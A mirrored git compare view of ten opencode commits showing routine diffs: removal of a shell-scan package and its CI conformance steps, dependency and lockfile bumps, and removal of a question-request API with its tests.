mirror of
https://github.com/anomalyco/opencode.git
synced 2026-08-14 15:32:52 -04:00
Compare commits
10 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| a5040e022e | |||
| 9872fb8a54 | |||
| baf5ce3b7e | |||
| 70efd3fb38 | |||
| a1a663d60e | |||
| 4a899bb730 | |||
| b6b313943f | |||
| 3a4c8cdf9d | |||
| 8d71099577 | |||
| c0b4a0ce91 |
@@ -5,4 +5,4 @@
|
||||
"@opencode-ai/client": minor
|
||||
---
|
||||
|
||||
Replace Core shell permission parsing with portable, fail-closed Bash and PowerShell scanners.
|
||||
Remove the unused question request API and use session forms for question tool interactions.
|
||||
@@ -76,16 +76,6 @@ jobs:
|
||||
env:
|
||||
OPENCODE_EXPERIMENTAL_DISABLE_FILEWATCHER: ${{ runner.os == 'Windows' && 'true' || 'false' }}
|
||||
|
||||
- name: Verify PowerShell 7 scanner conformance
|
||||
if: always() && runner.os == 'Windows'
|
||||
working-directory: packages/shell-scan
|
||||
run: PWSH=pwsh bun run research:powershell
|
||||
|
||||
- name: Verify Windows PowerShell scanner conformance
|
||||
if: always() && runner.os == 'Windows'
|
||||
working-directory: packages/shell-scan
|
||||
run: PWSH=powershell.exe bun run research:powershell
|
||||
|
||||
- name: Verify compiled service lifecycle
|
||||
if: always()
|
||||
timeout-minutes: 10
|
||||
|
||||
@@ -137,9 +137,11 @@
|
||||
"immer": "11.1.4",
|
||||
"jsonc-parser": "3.3.1",
|
||||
"open": "10.1.2",
|
||||
"semver": "catalog:",
|
||||
"solid-js": "catalog:",
|
||||
"tree-sitter-bash": "0.25.0",
|
||||
"tree-sitter-powershell": "0.25.10",
|
||||
"uqr": "0.1.3",
|
||||
"web-tree-sitter": "0.25.10",
|
||||
"ws": "8.21.0",
|
||||
},
|
||||
"devDependencies": {
|
||||
@@ -163,7 +165,6 @@
|
||||
"@parcel/watcher-win32-x64": "2.5.1",
|
||||
"@tsconfig/bun": "catalog:",
|
||||
"@types/bun": "catalog:",
|
||||
"@types/semver": "catalog:",
|
||||
"@typescript/native-preview": "catalog:",
|
||||
"@yuuang/ffi-rs-darwin-arm64": "1.3.2",
|
||||
"@yuuang/ffi-rs-linux-arm64-gnu": "1.3.2",
|
||||
@@ -188,15 +189,12 @@
|
||||
"@types/bun": "catalog:",
|
||||
"@typescript/native-preview": "catalog:",
|
||||
"effect": "catalog:",
|
||||
"solid-js": "catalog:",
|
||||
},
|
||||
"peerDependencies": {
|
||||
"effect": "4.0.0-beta.101",
|
||||
"solid-js": ">=1.9.0",
|
||||
},
|
||||
"optionalPeers": [
|
||||
"effect",
|
||||
"solid-js",
|
||||
],
|
||||
},
|
||||
"packages/codemode": {
|
||||
@@ -385,7 +383,10 @@
|
||||
"immer": "11.1.4",
|
||||
"jsonc-parser": "3.3.1",
|
||||
"mime-types": "3.0.2",
|
||||
"tree-sitter-bash": "0.25.0",
|
||||
"tree-sitter-powershell": "0.25.10",
|
||||
"venice-ai-sdk-provider": "2.1.1",
|
||||
"web-tree-sitter": "0.25.10",
|
||||
"which": "6.0.1",
|
||||
"zod": "catalog:",
|
||||
},
|
||||
@@ -393,7 +394,6 @@
|
||||
"@effect/platform-node": "catalog:",
|
||||
"@effect/sql-sqlite-bun": "catalog:",
|
||||
"@opencode-ai/http-recorder": "workspace:*",
|
||||
"@opencode-ai/shell-scan": "workspace:*",
|
||||
"@parcel/watcher-darwin-arm64": "2.5.1",
|
||||
"@parcel/watcher-darwin-x64": "2.5.1",
|
||||
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
|
||||
@@ -633,9 +633,9 @@
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@opencode-ai/theme": "workspace:*",
|
||||
"@opentui/core": ">=0.5.2",
|
||||
"@opentui/keymap": ">=0.5.2",
|
||||
"@opentui/solid": ">=0.5.2",
|
||||
"@opentui/core": ">=0.5.3",
|
||||
"@opentui/keymap": ">=0.5.3",
|
||||
"@opentui/solid": ">=0.5.3",
|
||||
"solid-js": ">=1.9.0",
|
||||
},
|
||||
"optionalPeers": [
|
||||
@@ -760,15 +760,6 @@
|
||||
"vite": "catalog:",
|
||||
},
|
||||
},
|
||||
"packages/shell-scan": {
|
||||
"name": "@opencode-ai/shell-scan",
|
||||
"version": "0.0.0",
|
||||
"devDependencies": {
|
||||
"@tsconfig/bun": "catalog:",
|
||||
"@types/bun": "catalog:",
|
||||
"@typescript/native-preview": "catalog:",
|
||||
},
|
||||
},
|
||||
"packages/simulation": {
|
||||
"name": "@opencode-ai/simulation",
|
||||
"version": "1.17.13",
|
||||
@@ -1113,9 +1104,12 @@
|
||||
},
|
||||
},
|
||||
"trustedDependencies": [
|
||||
"electron",
|
||||
"esbuild",
|
||||
"tree-sitter-powershell",
|
||||
"protobufjs",
|
||||
"electron",
|
||||
"web-tree-sitter",
|
||||
"tree-sitter-bash",
|
||||
],
|
||||
"patchedDependencies": {
|
||||
"@pierre/trees@1.0.0-beta.4": "patches/@pierre%2Ftrees@1.0.0-beta.4.patch",
|
||||
@@ -1154,9 +1148,9 @@
|
||||
"@npmcli/arborist": "9.4.0",
|
||||
"@octokit/rest": "22.0.0",
|
||||
"@openauthjs/openauth": "0.0.0-20250322224806",
|
||||
"@opentui/core": "0.5.2",
|
||||
"@opentui/keymap": "0.5.2",
|
||||
"@opentui/solid": "0.5.2",
|
||||
"@opentui/core": "0.5.3",
|
||||
"@opentui/keymap": "0.5.3",
|
||||
"@opentui/solid": "0.5.3",
|
||||
"@pierre/diffs": "1.2.10",
|
||||
"@playwright/test": "1.59.1",
|
||||
"@sentry/solid": "10.36.0",
|
||||
@@ -2146,8 +2140,6 @@
|
||||
|
||||
"@opencode-ai/session-ui": ["@opencode-ai/session-ui@workspace:packages/session-ui"],
|
||||
|
||||
"@opencode-ai/shell-scan": ["@opencode-ai/shell-scan@workspace:packages/shell-scan"],
|
||||
|
||||
"@opencode-ai/simulation": ["@opencode-ai/simulation@workspace:packages/simulation"],
|
||||
|
||||
"@opencode-ai/slack": ["@opencode-ai/slack@workspace:packages/slack"],
|
||||
@@ -2204,27 +2196,27 @@
|
||||
|
||||
"@opentelemetry/semantic-conventions": ["@opentelemetry/semantic-conventions@1.43.0", "", {}, "sha512-eSYWTm620tTk45EKSedaUL8MFYI8hW164hIXsgIHyxu3VobUB3fFCu5t0hQby6OoWRPsG1KkKUG2M5UadiLiVg=="],
|
||||
|
||||
"@opentui/core": ["@opentui/core@0.5.2", "", { "dependencies": { "bun-ffi-structs": "0.3.1", "diff": "9.0.0", "marked": "17.0.1", "string-width": "7.2.0", "strip-ansi": "7.1.2" }, "optionalDependencies": { "@opentui/core-darwin-arm64": "0.5.2", "@opentui/core-darwin-x64": "0.5.2", "@opentui/core-linux-arm64": "0.5.2", "@opentui/core-linux-arm64-musl": "0.5.2", "@opentui/core-linux-x64": "0.5.2", "@opentui/core-linux-x64-musl": "0.5.2", "@opentui/core-win32-arm64": "0.5.2", "@opentui/core-win32-x64": "0.5.2" }, "peerDependencies": { "web-tree-sitter": "0.25.10" } }, "sha512-GOuD0Mq1ylybq9eEX6L0TdYlfJ2zJVLGecuh6yEM8RpT9oMtR0f+gEWqGJsBN/ay+Y5TOCH9b3vePEcwOW01fg=="],
|
||||
"@opentui/core": ["@opentui/core@0.5.3", "", { "dependencies": { "bun-ffi-structs": "0.3.1", "diff": "9.0.0", "marked": "17.0.1", "string-width": "7.2.0", "strip-ansi": "7.1.2" }, "optionalDependencies": { "@opentui/core-darwin-arm64": "0.5.3", "@opentui/core-darwin-x64": "0.5.3", "@opentui/core-linux-arm64": "0.5.3", "@opentui/core-linux-arm64-musl": "0.5.3", "@opentui/core-linux-x64": "0.5.3", "@opentui/core-linux-x64-musl": "0.5.3", "@opentui/core-win32-arm64": "0.5.3", "@opentui/core-win32-x64": "0.5.3" }, "peerDependencies": { "web-tree-sitter": "0.25.10" } }, "sha512-K8EQu44cx0rhnn3v3baCQW18Bpci3GltZayOwVpGGsbiAGL1WUYqwQjuaWsmS0c4dCa9rQ5xCEoHB1C4936nDg=="],
|
||||
|
||||
"@opentui/core-darwin-arm64": ["@opentui/core-darwin-arm64@0.5.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-fGi/RubZIhxcU8+M3GXNaBmEHqf127ZOnKmUTSp4ty2QdQ0kT4RTd+t91a/oyxrLZjjCmry0jXyquT0CZR1Byw=="],
|
||||
"@opentui/core-darwin-arm64": ["@opentui/core-darwin-arm64@0.5.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-R39YeUqaMb/rH1h6G4MkB4MLVKIrRaUaXLfVqorZM4xgU5BxnfPetRk1vWR9vuLCvDwskg+kQ589kULw0o6AWA=="],
|
||||
|
||||
"@opentui/core-darwin-x64": ["@opentui/core-darwin-x64@0.5.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-ezFpB+5mQTd9BS4VvHOYEgQK6YxiYwVUmFb2sfTbJBnTqbOFP3Z/cdE5qNUHoeLQ01/nOs2dmUPcGyWxtMZIzw=="],
|
||||
"@opentui/core-darwin-x64": ["@opentui/core-darwin-x64@0.5.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-1pmUas/chTVFGeiN19kaOx+5Xbte/DLhcgKyACwWO0M3+xE3z1v/6QGSyX6CoP5HBpmDroiX+JHv1ic/JlGd/g=="],
|
||||
|
||||
"@opentui/core-linux-arm64": ["@opentui/core-linux-arm64@0.5.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-9S53zkIkbwRb0iIv2thibK+IofpTCEz/c48rJNaBx3qDylaDcTA11k5oqt1gkFcOLernlqIcow8aMCNDnRYMAA=="],
|
||||
"@opentui/core-linux-arm64": ["@opentui/core-linux-arm64@0.5.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-0nMo9Q9VIaQVdw2SNKlwIEWMmf3z+cI4jRdCkh36e2RU1FO7LrIBAEmV1ZuRp1CIFVGPkqCXIizCeckZHTr4yQ=="],
|
||||
|
||||
"@opentui/core-linux-arm64-musl": ["@opentui/core-linux-arm64-musl@0.5.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-s2DB6he7jgbBqWOHBAIV/p4X12mj+Hlk1pAEcwK36j2wg+L4nVVdWecUJm1xeJn6LJSRcaJYE29sA45w5b7B2g=="],
|
||||
"@opentui/core-linux-arm64-musl": ["@opentui/core-linux-arm64-musl@0.5.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-QOYAxbbWrhYo27Cd6m0ATzpEx9YCAKAq82LgfUn0xu+VKXLNu+Q3hMNSVbG0SepUQQZil5rz228R9o9Cs8995w=="],
|
||||
|
||||
"@opentui/core-linux-x64": ["@opentui/core-linux-x64@0.5.2", "", { "os": "linux", "cpu": "x64" }, "sha512-HO0TWovqxo95hxFoTBx47MTP6pzzTW/QMoOIiD8jw0hkrn1DF8rSVPva0vLQMRer/drO9RpjyroFRNra7710og=="],
|
||||
"@opentui/core-linux-x64": ["@opentui/core-linux-x64@0.5.3", "", { "os": "linux", "cpu": "x64" }, "sha512-hdAYLriLpTj3lvpMyL25GPBzvM2w/n2KCSbIwTmgS2F/dPZYCKJxHEETj2lCvtStSp7KuY8tkg3Xl5RAq1v7gA=="],
|
||||
|
||||
"@opentui/core-linux-x64-musl": ["@opentui/core-linux-x64-musl@0.5.2", "", { "os": "linux", "cpu": "x64" }, "sha512-zyuJaRGBRbUOABgf3nJ2Jk/NmD+gS2dQpJzC2ikr2OMqclPVk7gFbPTHW2s/A3SJH7D8d0PJ6wL2wzXWMUdrWQ=="],
|
||||
"@opentui/core-linux-x64-musl": ["@opentui/core-linux-x64-musl@0.5.3", "", { "os": "linux", "cpu": "x64" }, "sha512-BkVIiPQ1TOf5/FfmIpf7DQU5rT/FO6ASW5R/o/wonI5Pdul7XiDCu86gzGyk1x5k9Sbh6GLeq1fe8/tPmI7IaA=="],
|
||||
|
||||
"@opentui/core-win32-arm64": ["@opentui/core-win32-arm64@0.5.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-J1QxYJqxyAO49RyocqZSoGWs5uszlYot8sInLasi6nUbjCFg4h7Kvh+64+gxE2i4LASeyvMRpAIYwblI6eMbtg=="],
|
||||
"@opentui/core-win32-arm64": ["@opentui/core-win32-arm64@0.5.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-AjObTyZPU0xsK3Yk8GmhkboK6OcMoHBbydqYAybeHD4+v6axScSuZ3OEI9J05JJ9T7H2nZNky75tsdnjsvZJmg=="],
|
||||
|
||||
"@opentui/core-win32-x64": ["@opentui/core-win32-x64@0.5.2", "", { "os": "win32", "cpu": "x64" }, "sha512-9/F1Q19GdtkZ1jypa0dRP6v9SJHHc91XHs4ZSroamDeqSDyTaGu1bbWnKiC503gpNpQMY0mjOVg4g+WVJLdDig=="],
|
||||
"@opentui/core-win32-x64": ["@opentui/core-win32-x64@0.5.3", "", { "os": "win32", "cpu": "x64" }, "sha512-e3nRlF2nSkLKCUPBF32OL9EDgtQDIh2pBo7tjhumpTyJ3qoNOa3us7DsM290Vw4xnakM6jpk9r9NzRf72CuMVg=="],
|
||||
|
||||
"@opentui/keymap": ["@opentui/keymap@0.5.2", "", { "dependencies": { "@opentui/core": "0.5.2" }, "peerDependencies": { "@opentui/react": "0.5.2", "@opentui/solid": "0.5.2", "react": ">=19.2.0", "solid-js": "1.9.12" }, "optionalPeers": ["@opentui/react", "@opentui/solid", "react", "solid-js"] }, "sha512-MKESKHGeGit/i416E4zOujJIn17ladl6w9oOACmrjgff3a1naLFF3salrkUjD0C+uTUvh+nNTah795RORTTMyQ=="],
|
||||
"@opentui/keymap": ["@opentui/keymap@0.5.3", "", { "dependencies": { "@opentui/core": "0.5.3" }, "peerDependencies": { "@opentui/react": "0.5.3", "@opentui/solid": "0.5.3", "react": ">=19.2.0", "solid-js": "1.9.12" }, "optionalPeers": ["@opentui/react", "@opentui/solid", "react", "solid-js"] }, "sha512-VdvUabUDWnmgolzp1qiO55wz1zv0mMu5Z6tv+UQk9JqZRfKt5Q8XTDi0uQzhBb6qeLsHvXtRFOsnn6EFAcLixA=="],
|
||||
|
||||
"@opentui/solid": ["@opentui/solid@0.5.2", "", { "dependencies": { "@babel/core": "7.28.0", "@babel/preset-typescript": "7.27.1", "@opentui/core": "0.5.2", "babel-plugin-module-resolver": "5.0.2", "babel-preset-solid": "1.9.12", "entities": "7.0.1", "s-js": "^0.4.9" }, "peerDependencies": { "solid-js": "1.9.12" } }, "sha512-mPB6xhG0bufjhUpWj5e8g/1M3LYZUKPM0mPPz6O6KIXFtakHVCJZuff2l1vvDpKuuLOAjivL8jLU7OJ3ZSCRuw=="],
|
||||
"@opentui/solid": ["@opentui/solid@0.5.3", "", { "dependencies": { "@babel/core": "7.28.0", "@babel/preset-typescript": "7.27.1", "@opentui/core": "0.5.3", "babel-plugin-module-resolver": "5.0.2", "babel-preset-solid": "1.9.12", "entities": "7.0.1", "s-js": "^0.4.9" }, "peerDependencies": { "solid-js": "1.9.12" } }, "sha512-IB6YC3ajucQeo06BMSNYRD7LHf8ndm6G5ETcYsS+51Mli5yW0ioyUr+6+qgqVtaQyOcJvaD1KWmK23pXLhsiwg=="],
|
||||
|
||||
"@orama/orama": ["@orama/orama@3.1.18", "", {}, "sha512-a61ljmRVVyG5MC/698C8/FfFDw5a8LOIvyOLW5fztgUXqUpc1jOfQzOitSCbge657OgXXThmY3Tk8fpiDb4UcA=="],
|
||||
|
||||
@@ -5718,6 +5710,10 @@
|
||||
|
||||
"traverse": ["traverse@0.3.9", "", {}, "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ=="],
|
||||
|
||||
"tree-sitter-bash": ["tree-sitter-bash@0.25.0", "", { "dependencies": { "node-addon-api": "^8.2.1", "node-gyp-build": "^4.8.2" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-gZtlj9+qFS81qKxpLfD6H0UssQ3QBc/F0nKkPsiFDyfQF2YBqYvglFJUzchrPpVhZe9kLZTrJ9n2J6lmka69Vg=="],
|
||||
|
||||
"tree-sitter-powershell": ["tree-sitter-powershell@0.25.10", "", { "dependencies": { "node-addon-api": "^7.1.0", "node-gyp-build": "^4.8.0" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-bEt8QoySpGFnU3aa8WedQyNMaN6aTwy/WUbvIVt0JSKF+BbJoSHNHu+wCbhj7xLMsfB0AuffmiJm+B8gzva8Lg=="],
|
||||
|
||||
"treeverse": ["treeverse@3.0.0", "", {}, "sha512-gcANaAnd2QDZFmHFEOF4k7uc1J/6a6z3DJMd/QwEyxLoKGiptJRwid582r7QIsFlFMIZ3SnxfS52S4hm2DHkuQ=="],
|
||||
|
||||
"trim-lines": ["trim-lines@3.0.1", "", {}, "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg=="],
|
||||
@@ -6432,8 +6428,6 @@
|
||||
|
||||
"@openauthjs/openauth/jose": ["jose@5.9.6", "", {}, "sha512-AMlnetc9+CV9asI19zHmrgS/WYsWUwCn2R7RzlbJWD7F9eWYUTGyBmU9o6PxngtLGOiDGPRu+Uc4fhKzbpteZQ=="],
|
||||
|
||||
"@opencode-ai/cli/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
|
||||
|
||||
"@opencode-ai/console-app/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.7", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.11.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-DrpkEoM3j9cBBWhufqBwnbbn+3nf1N9FP6xuVJ+e220jbactKuQgaZwjwP5CP1t+O94brm2JgVMD2atMGX3xIQ=="],
|
||||
|
||||
"@opencode-ai/console-app/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
|
||||
@@ -6992,6 +6986,8 @@
|
||||
|
||||
"tiny-async-pool/semver": ["semver@5.7.2", "", { "bin": { "semver": "bin/semver" } }, "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g=="],
|
||||
|
||||
"tree-sitter-bash/node-addon-api": ["node-addon-api@8.9.1", "", {}, "sha512-4eUQWVPCUUUiBjLnHS3cXWeC6ryoPUc0U3rP7IuzapoGbzMqd/r6KKO0clr0b+snQhsrueFEhCZDdK+LK7hxKg=="],
|
||||
|
||||
"tw-to-css/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="],
|
||||
|
||||
"tw-to-css/tailwindcss": ["tailwindcss@3.3.2", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "arg": "^5.0.2", "chokidar": "^3.5.3", "didyoumean": "^1.2.2", "dlv": "^1.1.3", "fast-glob": "^3.2.12", "glob-parent": "^6.0.2", "is-glob": "^4.0.3", "jiti": "^1.18.2", "lilconfig": "^2.1.0", "micromatch": "^4.0.5", "normalize-path": "^3.0.0", "object-hash": "^3.0.0", "picocolors": "^1.0.0", "postcss": "^8.4.23", "postcss-import": "^15.1.0", "postcss-js": "^4.0.1", "postcss-load-config": "^4.0.1", "postcss-nested": "^6.0.1", "postcss-selector-parser": "^6.0.11", "postcss-value-parser": "^4.2.0", "resolve": "^1.22.2", "sucrase": "^3.32.0" }, "bin": { "tailwind": "lib/cli.js", "tailwindcss": "lib/cli.js" } }, "sha512-9jPkMiIBXvPc2KywkraqsUfbfj+dHDb+JPWtSJa9MLFdrPyazI7q6WX2sUrm7R9eVR7qqv3Pas7EvQFzxKnI6w=="],
|
||||
|
||||
+7
-3
@@ -47,9 +47,9 @@
|
||||
"@octokit/rest": "22.0.0",
|
||||
"@hono/standard-validator": "0.2.0",
|
||||
"@hono/zod-validator": "0.4.2",
|
||||
"@opentui/core": "0.5.2",
|
||||
"@opentui/keymap": "0.5.2",
|
||||
"@opentui/solid": "0.5.2",
|
||||
"@opentui/core": "0.5.3",
|
||||
"@opentui/keymap": "0.5.3",
|
||||
"@opentui/solid": "0.5.3",
|
||||
"@tanstack/solid-virtual": "3.13.32",
|
||||
"@shikijs/stream": "4.2.0",
|
||||
"@standard-schema/spec": "1.1.0",
|
||||
@@ -145,6 +145,10 @@
|
||||
"esbuild",
|
||||
"node-pty",
|
||||
"protobufjs",
|
||||
"tree-sitter",
|
||||
"tree-sitter-bash",
|
||||
"tree-sitter-powershell",
|
||||
"web-tree-sitter",
|
||||
"electron"
|
||||
],
|
||||
"overrides": {
|
||||
|
||||
@@ -87,7 +87,7 @@ test("shows a pending permission dock", async ({ page }) => {
|
||||
permission: "bash",
|
||||
patterns: ["git status", "git diff"],
|
||||
metadata: {},
|
||||
always: ["git *"],
|
||||
always: [],
|
||||
},
|
||||
],
|
||||
})
|
||||
|
||||
@@ -11,9 +11,6 @@ import { extractPromptFromParts } from "@/utils/prompt"
|
||||
import type { TextPart as SDKTextPart } from "@/types"
|
||||
import { base64Encode } from "@opencode-ai/core/util/encode"
|
||||
import { useLanguage } from "@/context/language"
|
||||
import { useServerSDK } from "@/context/server-sdk"
|
||||
import { sessionHref } from "@/utils/session-route"
|
||||
import { ServerConnection } from "@/context/servers"
|
||||
|
||||
interface ForkableMessage {
|
||||
id: string
|
||||
@@ -30,7 +27,6 @@ export const DialogFork: Component = () => {
|
||||
const navigate = useNavigate()
|
||||
const sync = useSync()
|
||||
const sdk = useSDK()
|
||||
const serverSDK = useServerSDK()
|
||||
const prompt = usePrompt()
|
||||
const dialog = useDialog()
|
||||
const language = useLanguage()
|
||||
@@ -77,7 +73,7 @@ export const DialogFork: Component = () => {
|
||||
.then((forked) => {
|
||||
dialog.close()
|
||||
prompt.set(restored, undefined, { dir, id: forked.id })
|
||||
navigate(sessionHref(ServerConnection.key(serverSDK.server), forked.id))
|
||||
navigate(`/${dir}/session/${forked.id}`)
|
||||
})
|
||||
.catch((err: unknown) => {
|
||||
const message = err instanceof Error ? err.message : String(err)
|
||||
|
||||
@@ -4,7 +4,7 @@ import { useDialog } from "@opencode-ai/ui/context/dialog"
|
||||
import { ProviderIcon } from "@opencode-ai/ui/provider-icon"
|
||||
import { showToast } from "@/utils/toast"
|
||||
import { popularProviders, useProviders } from "@/hooks/use-providers"
|
||||
import { createMemo, type Component, For, Show, createEffect } from "solid-js"
|
||||
import { createMemo, type Component, For, Show } from "solid-js"
|
||||
import { useLanguage } from "@/context/language"
|
||||
import { useServerSDK } from "@/context/server-sdk"
|
||||
import { useServerSync } from "@/context/server-sync"
|
||||
@@ -14,7 +14,6 @@ import { SettingsServerScope } from "../settings-server-picker"
|
||||
import { InlineServerSelect } from "./parts/server-select"
|
||||
import { SettingsListV2 } from "./parts/list"
|
||||
import "./settings-v2.css"
|
||||
import { useData } from "@/context/server"
|
||||
|
||||
type ProviderSource = "env" | "api" | "config" | "custom"
|
||||
type ProviderItem = ReturnType<ReturnType<typeof useProviders>["connected"]>[number]
|
||||
@@ -36,7 +35,6 @@ export const SettingsProvidersV2: Component<{
|
||||
directory: string | undefined
|
||||
onBack?: () => void
|
||||
}> = (props) => {
|
||||
const data = useData()
|
||||
const dialog = useDialog()
|
||||
const language = useLanguage()
|
||||
const serverSdk = useServerSDK()
|
||||
|
||||
@@ -17,7 +17,6 @@ import type {
|
||||
ReferenceListInput,
|
||||
ReferenceListOutput,
|
||||
ReferenceInfo,
|
||||
QuestionRequest,
|
||||
SessionApi,
|
||||
SessionInfo,
|
||||
} from "@opencode-ai/client/promise"
|
||||
@@ -112,7 +111,6 @@ type LocationApi = { readonly get: (input?: LocationGetInput) => Promise<Locatio
|
||||
|
||||
type McpApi = ServerApi["mcp"]
|
||||
type PermissionApi = ServerApi["permission"]
|
||||
type QuestionApi = ServerApi["question"]
|
||||
type VcsApi = ServerApi["vcs"]
|
||||
|
||||
export const loadProjectsQuery = (scope: ServerScope, projects: ProjectApi, worktrees: WorktreeApi) =>
|
||||
@@ -303,7 +301,6 @@ export async function bootstrapDirectory(input: {
|
||||
readonly mcp: McpApi
|
||||
readonly permission: PermissionApi
|
||||
readonly project: ProjectApi
|
||||
readonly question: QuestionApi
|
||||
readonly reference: ReferenceListApi
|
||||
readonly session: SessionApi
|
||||
readonly vcs: VcsApi
|
||||
@@ -394,40 +391,6 @@ export async function bootstrapDirectory(input: {
|
||||
)
|
||||
}),
|
||||
),
|
||||
() =>
|
||||
retry(() =>
|
||||
input.api.question.request
|
||||
.list({ location: { directory: input.directory } })
|
||||
.then((result) => result.data)
|
||||
.then((questions) => {
|
||||
const ids = questions.map((question) => question.sessionID)
|
||||
const grouped = groupBySession(
|
||||
questions.filter((question) => !!question.id && !!question.sessionID) as QuestionRequest[],
|
||||
)
|
||||
const warm = input.session
|
||||
? Promise.all(ids.map((sessionID) => input.session!.resolve(sessionID))).then(() => undefined)
|
||||
: warmSessions({ ids, store: input.store, setStore: input.setStore, api: input.api.session })
|
||||
return warm.then(() =>
|
||||
batch(() => {
|
||||
const current = input.session?.data.question ?? input.store.question
|
||||
for (const sessionID of Object.keys(current)) {
|
||||
if (grouped[sessionID]) continue
|
||||
if (input.session?.get(sessionID)?.location.directory !== input.directory) continue
|
||||
if (input.session) input.session.set("question", sessionID, [])
|
||||
if (!input.session) input.setStore("question", sessionID, [])
|
||||
}
|
||||
for (const [sessionID, questions] of Object.entries(grouped)) {
|
||||
const value = reconcile(
|
||||
questions.filter((q) => !!q?.id).sort((a, b) => cmp(a.id, b.id)),
|
||||
{ key: "id" },
|
||||
)
|
||||
if (input.session) input.session.set("question", sessionID, value)
|
||||
if (!input.session) input.setStore("question", sessionID, value)
|
||||
}
|
||||
}),
|
||||
)
|
||||
}),
|
||||
),
|
||||
() => Promise.resolve(input.loadSessions(input.directory)),
|
||||
input.mcp &&
|
||||
(() => input.queryClient.fetchQuery(loadMcpQuery(input.scope, directoryKey(input.directory), input.api.mcp))),
|
||||
|
||||
@@ -250,7 +250,6 @@ export function createChildStoreManager(input: {
|
||||
session_diff: {},
|
||||
todo: {},
|
||||
permission: {},
|
||||
question: {},
|
||||
get mcp_ready() {
|
||||
return !mcpQuery.isLoading
|
||||
},
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import type { Message, Part, Project } from "@/types"
|
||||
import type { PermissionRequest, QuestionRequest, SessionInfo } from "@opencode-ai/client/promise"
|
||||
import type { PermissionRequest, SessionInfo } from "@opencode-ai/client/promise"
|
||||
import { createStore } from "solid-js/store"
|
||||
import type { State } from "./types"
|
||||
import { applyDirectoryEvent, applyGlobalEvent, cleanupDroppedSessionCaches } from "./event-reducer"
|
||||
@@ -45,19 +45,6 @@ const permissionRequest = (id: string, sessionID: string, title = id) =>
|
||||
save: [],
|
||||
}) as PermissionRequest
|
||||
|
||||
const questionRequest = (id: string, sessionID: string, title = id) =>
|
||||
({
|
||||
id,
|
||||
sessionID,
|
||||
questions: [
|
||||
{
|
||||
question: title,
|
||||
header: title,
|
||||
options: [{ label: title, description: title }],
|
||||
},
|
||||
],
|
||||
}) as QuestionRequest
|
||||
|
||||
const baseState = (input: Partial<State> = {}) =>
|
||||
({
|
||||
status: "complete",
|
||||
@@ -75,7 +62,6 @@ const baseState = (input: Partial<State> = {}) =>
|
||||
session_diff: {},
|
||||
todo: {},
|
||||
permission: {},
|
||||
question: {},
|
||||
mcp: {},
|
||||
lsp: [],
|
||||
vcs: undefined,
|
||||
@@ -220,7 +206,6 @@ describe("applyDirectoryEvent", () => {
|
||||
session_diff: { ses_1: [] },
|
||||
todo: { ses_1: [] },
|
||||
permission: { ses_1: [] },
|
||||
question: { ses_1: [] },
|
||||
session_status: { ses_1: { type: "busy" } },
|
||||
}),
|
||||
)
|
||||
@@ -241,7 +226,6 @@ describe("applyDirectoryEvent", () => {
|
||||
expect(store.session_diff.ses_1).toBeUndefined()
|
||||
expect(store.todo.ses_1).toBeUndefined()
|
||||
expect(store.permission.ses_1).toBeUndefined()
|
||||
expect(store.question.ses_1).toBeUndefined()
|
||||
expect(store.session_status.ses_1).toBeUndefined()
|
||||
})
|
||||
|
||||
@@ -282,7 +266,6 @@ describe("applyDirectoryEvent", () => {
|
||||
session_diff: { [item.info.id]: [] },
|
||||
todo: { [item.info.id]: [] },
|
||||
permission: { [item.info.id]: [] },
|
||||
question: { [item.info.id]: [] },
|
||||
session_status: { [item.info.id]: { type: "busy" } },
|
||||
}),
|
||||
)
|
||||
@@ -306,7 +289,6 @@ describe("applyDirectoryEvent", () => {
|
||||
expect(store.session_diff[item.info.id]).toBeUndefined()
|
||||
expect(store.todo[item.info.id]).toBeUndefined()
|
||||
expect(store.permission[item.info.id]).toBeUndefined()
|
||||
expect(store.question[item.info.id]).toBeUndefined()
|
||||
